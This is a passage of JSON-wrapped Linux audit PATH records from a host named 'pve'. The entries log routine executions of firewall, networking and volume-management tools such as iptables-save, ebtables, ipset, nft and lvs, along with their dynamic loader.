rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355539,"@rawstring":"node=pve type=PATH msg=audit(1781965355.539:65263): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355539,"@rawstring":"node=pve type=PATH msg=audit(1781965355.539:65263): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355520,"@rawstring":"node=pve type=PATH msg=audit(1781965355.520:65262): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355520,"@rawstring":"node=pve type=PATH msg=audit(1781965355.520:65262): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355515,"@rawstring":"node=pve type=PATH msg=audit(1781965355.515:65261): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355515,"@rawstring":"node=pve type=PATH msg=audit(1781965355.515:65261): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355507,"@rawstring":"node=pve type=PATH msg=audit(1781965355.507:65260): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355507,"@rawstring":"node=pve type=PATH msg=audit(1781965355.507:65260): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355500,"@rawstring":"node=pve type=PATH msg=audit(1781965355.500:65258): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355500,"@rawstring":"node=pve type=PATH msg=audit(1781965355.500:65258): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355495,"@rawstring":"node=pve type=PATH msg=audit(1781965355.495:65257): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355495,"@rawstring":"node=pve type=PATH msg=audit(1781965355.495:65257): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355487,"@rawstring":"node=pve type=PATH msg=audit(1781965355.487:65256): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355487,"@rawstring":"node=pve type=PATH msg=audit(1781965355.487:65256): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355482,"@rawstring":"node=pve type=PATH msg=audit(1781965355.482:65255): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355482,"@rawstring":"node=pve type=PATH msg=audit(1781965355.482:65255): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355477,"@rawstring":"node=pve type=PATH msg=audit(1781965355.477:65254): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355477,"@rawstring":"node=pve type=PATH msg=audit(1781965355.477:65254): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355472,"@rawstring":"node=pve type=PATH msg=audit(1781965355.472:65253): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355472,"@rawstring":"node=pve type=PATH msg=audit(1781965355.472:65253): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355464,"@rawstring":"node=pve type=PATH msg=audit(1781965355.464:65252): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355464,"@rawstring":"node=pve type=PATH msg=audit(1781965355.464:65252): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355456,"@rawstring":"node=pve type=PATH msg=audit(1781965355.456:65251): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355456,"@rawstring":"node=pve type=PATH msg=audit(1781965355.456:65251): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355453,"@rawstring":"node=pve type=PATH msg=audit(1781965355.453:65250): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355453,"@rawstring":"node=pve type=PATH msg=audit(1781965355.453:65250): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355450,"@rawstring":"node=pve type=PATH msg=audit(1781965355.450:65249): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355450,"@rawstring":"node=pve type=PATH msg=audit(1781965355.450:65249): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355450,"@rawstring":"node=pve type=PATH msg=audit(1781965355.450:65248): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355450,"@rawstring":"node=pve type=PATH msg=audit(1781965355.450:65248): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355450,"@rawstring":"node=pve type=PATH msg=audit(1781965355.450:65247): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355444,"@rawstring":"node=pve type=PATH msg=audit(1781965355.444:65246): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355444,"@rawstring":"node=pve type=PATH msg=audit(1781965355.444:65246): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355444,"@rawstring":"node=pve type=PATH msg=audit(1781965355.444:65246): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355438,"@rawstring":"node=pve type=PATH msg=audit(1781965355.438:65245): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355438,"@rawstring":"node=pve type=PATH msg=audit(1781965355.438:65245): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355430,"@rawstring":"node=pve type=PATH msg=audit(1781965355.430:65244): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355430,"@rawstring":"node=pve type=PATH msg=audit(1781965355.430:65244): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355424,"@rawstring":"node=pve type=PATH msg=audit(1781965355.424:65243): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355424,"@rawstring":"node=pve type=PATH msg=audit(1781965355.424:65243): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355417,"@rawstring":"node=pve type=PATH msg=audit(1781965355.417:65242): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355417,"@rawstring":"node=pve type=PATH msg=audit(1781965355.417:65242): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355409,"@rawstring":"node=pve type=PATH msg=audit(1781965355.409:65241): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965355409,"@rawstring":"node=pve type=PATH msg=audit(1781965355.409:65241): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965354410,"@rawstring":"node=pve type=PATH msg=audit(1781965354.410:65240): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965354410,"@rawstring":"node=pve type=PATH msg=audit(1781965354.410:65240): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965354381,"@rawstring":"node=pve type=PATH msg=audit(1781965354.381:65239): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965354381,"@rawstring":"node=pve type=PATH msg=audit(1781965354.381:65239): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965352711,"@rawstring":"node=pve type=PATH msg=audit(1781965352.711:65238): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965352711,"@rawstring":"node=pve type=PATH msg=audit(1781965352.711:65238): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965352711,"@rawstring":"node=pve type=PATH msg=audit(1781965352.711:65237): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965352711,"@rawstring":"node=pve type=PATH msg=audit(1781965352.711:65236): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965352702,"@rawstring":"node=pve type=PATH msg=audit(1781965352.702:65235): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965352702,"@rawstring":"node=pve type=PATH msg=audit(1781965352.702:65235): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965352702,"@rawstring":"node=pve type=PATH msg=audit(1781965352.702:65234): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965352702,"@rawstring":"node=pve type=PATH msg=audit(1781965352.702:65233): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965347691,"@rawstring":"node=pve type=PATH msg=audit(1781965347.691:65231): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965347691,"@rawstring":"node=pve type=PATH msg=audit(1781965347.691:65231): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965347691,"@rawstring":"node=pve type=PATH msg=audit(1781965347.691:65230): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965347691,"@rawstring":"node=pve type=PATH msg=audit(1781965347.691:65229): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965347683,"@rawstring":"node=pve type=PATH msg=audit(1781965347.683:65228): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965347683,"@rawstring":"node=pve type=PATH msg=audit(1781965347.683:65228): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965347683,"@rawstring":"node=pve type=PATH msg=audit(1781965347.683:65227): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965347683,"@rawstring":"node=pve type=PATH msg=audit(1781965347.683:65226): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345399,"@rawstring":"node=pve type=PATH msg=audit(1781965345.399:65225): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345399,"@rawstring":"node=pve type=PATH msg=audit(1781965345.399:65225): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345394,"@rawstring":"node=pve type=PATH msg=audit(1781965345.394:65224): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345394,"@rawstring":"node=pve type=PATH msg=audit(1781965345.394:65224): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345393,"@rawstring":"node=pve type=PATH msg=audit(1781965345.393:65223): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345393,"@rawstring":"node=pve type=PATH msg=audit(1781965345.393:65223): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345393,"@rawstring":"node=pve type=PATH msg=audit(1781965345.393:65222): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345389,"@rawstring":"node=pve type=PATH msg=audit(1781965345.389:65221): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345389,"@rawstring":"node=pve type=PATH msg=audit(1781965345.389:65221): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345389,"@rawstring":"node=pve type=PATH msg=audit(1781965345.389:65221): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345381,"@rawstring":"node=pve type=PATH msg=audit(1781965345.381:65220): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345381,"@rawstring":"node=pve type=PATH msg=audit(1781965345.381:65220): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345375,"@rawstring":"node=pve type=PATH msg=audit(1781965345.375:65219): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345375,"@rawstring":"node=pve type=PATH msg=audit(1781965345.375:65219): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345362,"@rawstring":"node=pve type=PATH msg=audit(1781965345.362:65218): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345362,"@rawstring":"node=pve type=PATH msg=audit(1781965345.362:65218): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345356,"@rawstring":"node=pve type=PATH msg=audit(1781965345.356:65217): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345356,"@rawstring":"node=pve type=PATH msg=audit(1781965345.356:65217): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345351,"@rawstring":"node=pve type=PATH msg=audit(1781965345.351:65215): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345351,"@rawstring":"node=pve type=PATH msg=audit(1781965345.351:65215): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345346,"@rawstring":"node=pve type=PATH msg=audit(1781965345.346:65214): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345346,"@rawstring":"node=pve type=PATH msg=audit(1781965345.346:65214): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345341,"@rawstring":"node=pve type=PATH msg=audit(1781965345.341:65213): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345341,"@rawstring":"node=pve type=PATH msg=audit(1781965345.341:65213): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345335,"@rawstring":"node=pve type=PATH msg=audit(1781965345.335:65212): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345335,"@rawstring":"node=pve type=PATH msg=audit(1781965345.335:65212): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345329,"@rawstring":"node=pve type=PATH msg=audit(1781965345.329:65211): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345329,"@rawstring":"node=pve type=PATH msg=audit(1781965345.329:65211): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345322,"@rawstring":"node=pve type=PATH msg=audit(1781965345.322:65210): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965345322,"@rawstring":"node=pve type=PATH msg=audit(1781965345.322:65210): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 